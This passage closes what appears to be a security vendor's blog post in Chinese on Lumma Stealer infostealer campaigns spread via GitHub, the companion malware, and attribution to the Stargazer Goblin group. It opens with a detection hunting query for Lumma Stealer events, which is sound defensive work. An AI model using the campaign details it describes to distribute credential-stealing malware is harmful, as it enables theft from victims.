malName:*LUMMASTEALER* AND eventName:MALWARE_DETECTION AND LogType: detection
除此之外,Vision One 客戶還可啟用 Threat Insights 權利來取得更多追蹤查詢。
結論
Lumma Stealer 的散布方式不斷演進,駭客現在會使用 GitHub 儲存庫來散布惡意程式。「惡意程式服務」(Malware-as-a-Service,簡稱 MaaS) 的經營模式為駭客提供了一種經濟實惠又容易取得的方法來執行複雜的網路攻擊並達成其惡意目的,使得像 Lumma Stealer 這樣的威脅更容易散播。
駭客在攻擊中散布多種威脅,如 SectopRAT、Visar 和 Cobeacon,顯示駭客正採取一種模組化的攻擊方法。未來,Lumma Stealer 的變種可能會包含動態下載的模組,讓駭客能根據受害者的系統或產業量身打造惡意檔案。這可能衍生出更多的針對性攻擊,甚至加入新的能力,例如:勒索病毒、間諜活動,或是虛擬加密貨幣挖礦。
本文討論的攻擊行動在手法上與 Stargazer Goblin 集團非常相似 (儘管感染程序、網址格式以及使用的多種惡意檔案稍有不同),這意味著該集團有可能涉入。
如同這次調查的案件所證明,Managed XDR 在發掘攻擊手法、技巧及程序方面扮演了關鍵角色,突顯出它對企業至關重要。正是因為 Managed XDR 團隊調查了從 GitHub 這類看似正常的來源所下載的檔案,所以才發現了這項威脅並保護了客戶。而且也讓該團隊迅速對受害電腦採取一些行動來防範進一步的損害。此外,資安威脅情報的整合也非常重要,由於溯源的結果指向 Stargazer Goblin 集團,因此該團隊才能掌握駭客的手法,並預測其他可能的攻擊。
Managed XDR 運用專家數據分析來處理各種趨勢科技技術所蒐集到的大量資料,藉由進階的 AI 與資安數據分析,就能交叉關聯來自客戶環境與全球威脅情報的資訊,產生更準確的警報,並加快威脅偵測速度。
入侵指標資料
如需本文提到的入侵指標完整清單,請至此處。